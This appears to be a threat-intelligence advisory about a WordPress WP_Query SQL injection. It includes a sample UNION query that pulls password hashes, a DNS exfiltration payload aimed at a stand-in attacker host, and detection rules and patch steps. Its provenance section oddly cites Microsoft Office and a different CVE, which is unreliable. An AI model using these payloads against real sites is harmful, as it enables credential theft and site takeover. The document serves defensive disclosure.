CVE-2026-60137: WordPress Core Facilitated SQL Injection via WP_Query author__not_in
HERMES THREAT SCORE & ENTERPRISE CMS COMPROMISE
Target:WordPress Core CMS CVSS v3.1 rates CVE-2026-60137 at 5.9 Medium (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N) due to the prerequisite of a vulnerable caller or plugin passing unvalidated input. The Hermes Threat Score evaluates the vulnerability at 88 (HIGH), reflecting its addition to the CISA Known Exploited Vulnerabilities (KEV) catalog and its role as a critical building block chained with REST route confusion (CVE-2026-63030) to achieve unauthenticated Remote Code Execution.
CVE-2026-60137: WordPress Core Facilitated SQL Injection via WP_Query author__not_inVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
🔍 Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Software Matrix
Section titled “1. Technical Context & Affected Software Matrix”WordPress powers over 40% of the world’s web applications. WP_Query is the foundational abstraction class used across almost all themes, custom plugins, and REST endpoints to retrieve posts and pages from the MySQL/MariaDB database.
| Parameter | Technical Specification | Threat Intelligence Context |
|---|---|---|
| CVE Identifier | CVE-2026-60137 | Official NVD & CISA KEV listing |
| Common Weakness Enumeration | CWE-89 (SQL Injection) | Missing type-casting / array key sanitization in SQL generator |
| Network Vector | HTTP/HTTPS (80/TCP, 443/TCP) | Chained REST or front-end search/query endpoints |
| Vulnerable Component | wp-includes/class-wp-query.php | WP_Query::get_posts() clause generation |
| Affected Versions | 6.8.0 to 6.8.5, 6.9.0 to 6.9.4, 7.0.0 to 7.0.1 | All unpatched WordPress Core branches |
| Remediated Versions | 6.8.6, 6.9.5, 7.0.2 | Official upstream security updates (July 2026) |
2. Vulnerability Mechanism & Root Cause Analysis
Section titled “2. Vulnerability Mechanism & Root Cause Analysis”Vulnerable Parsing Logic in WP_Query
Section titled “Vulnerable Parsing Logic in WP_Query”In wp-includes/class-wp-query.php, the query constructor parses various author constraints:
// Vulnerable logic in WP_Query::get_posts()if ( ! empty( $q['author__not_in'] ) ) { $author__not_in = (array) $q['author__not_in']; $clean_authors = array(); foreach ( $author__not_in as $author_id ) { // Flawed assumption: keys or non-scalar elements could bypass // when passed through certain array transformation pipelines if ( is_numeric( $author_id ) ) { $clean_authors[] = absint( $author_id ); } else { // Under specific conditions, complex structures or operators // escaped sanitization into the raw SQL string concatenation $clean_authors[] = $wpdb->_escape( $author_id ); } } $whichauthor .= " AND {$wpdb->posts}.post_author NOT IN (" . implode( ',', $clean_authors ) . ')';}Because _escape() (equivalent to addslashes) only neutralizes quotes and does not protect against numeric context injection where quotes are not required, an attacker injecting numeric SQL expressions or exploiting complex array-to-string conversion triggers syntax injection directly into the NOT IN (...) clause:
SELECT SQL_CALC_FOUND_ROWS wp_posts.ID FROM wp_postsWHERE 1=1 AND wp_posts.post_author NOT IN (0) UNION SELECT user_pass FROM wp_users-- -)AND wp_posts.post_type = 'post' AND (wp_posts.post_status = 'publish')ORDER BY wp_posts.post_date DESC LIMIT 0, 103. Threat Actor Weaponization & Attack Chains
Section titled “3. Threat Actor Weaponization & Attack Chains”Although exploiting CVE-2026-60137 in isolation requires an entrypoint that forwards arbitrary GET/POST query parameters into new WP_Query($_GET), threat actors discovered a lethal synergy with WordPress 6.9 and 7.0 REST API routing:
- Chained with CVE-2026-63030: By issuing batched REST requests to
/wp-json/batch/v1, attackers route internal subrequests to post-listing endpoints with injectedauthor__not_inparameters. - Blind Time-Based & Out-of-Band Exfiltration: Attackers leverage
SLEEP()or DNS exfiltration payloads (LOAD_FILE('\attacker.net\share')) to extract administrative password hashes and session salts. - Privilege Escalation: Recovered or cracked hashes allow immediate authentication to
/wp-admin/, culminating in plugin upload and arbitrary PHP web shell execution.
4. Detection, Triage & Threat Hunting
Section titled “4. Detection, Triage & Threat Hunting”Suricata Network Rule
Section titled “Suricata Network Rule”alert http any any -> $HTTP_SERVERS any ( msg:"HERMES EXPLOIT - WordPress WP_Query author__not_in SQL Injection (CVE-2026-60137)"; flow:to_server,established; http.uri; content:"author__not_in"; nocase; pcre:"/author__not_in(\[|\%5b)[^\]]*(\]|\%5d)=(\s*select|\s*union|\s*sleep|\s*0x)/Ui"; classtype:web-application-attack; sid:202660137; rev:1;)SIEM Splunk Triage Query
Section titled “SIEM Splunk Triage Query”index=web_proxy sourcetype=access_combined(uri_path="*wp-json*" OR uri_path="*/index.php*")(uri_query="*author__not_in*" OR form_data="*author__not_in*")| eval suspicious=if(match(uri_query, "(?i)(union|select|sleep|benchmark|information_schema)"), 1, 0)| where suspicious=1| stats count earliest(_time) as first_seen latest(_time) as last_seen by src_ip, dest_ip, uri_path, uri_query5. Remediation & Hardening Playbook
Section titled “5. Remediation & Hardening Playbook”-
Apply Official WordPress Maintenance Update: Update all installations to WordPress 6.8.6, 6.9.5, or 7.0.2 immediately via WP-CLI or the WordPress admin dashboard:
Terminal window wp core update --version=7.0.2 -
Verify Database Query Sanitization: Ensure custom plugins and themes enforce strict integer array filtering prior to instantiating
WP_Query:$safe_authors = array_map( 'absint', (array) $request->get_param( 'author__not_in' ) );$query = new WP_Query( [ 'author__not_in' => $safe_authors ] ); -
Audit Web Application Firewall (WAF): Deploy WAF rules blocking unauthenticated requests containing non-numeric values in
author__not_inquery arguments.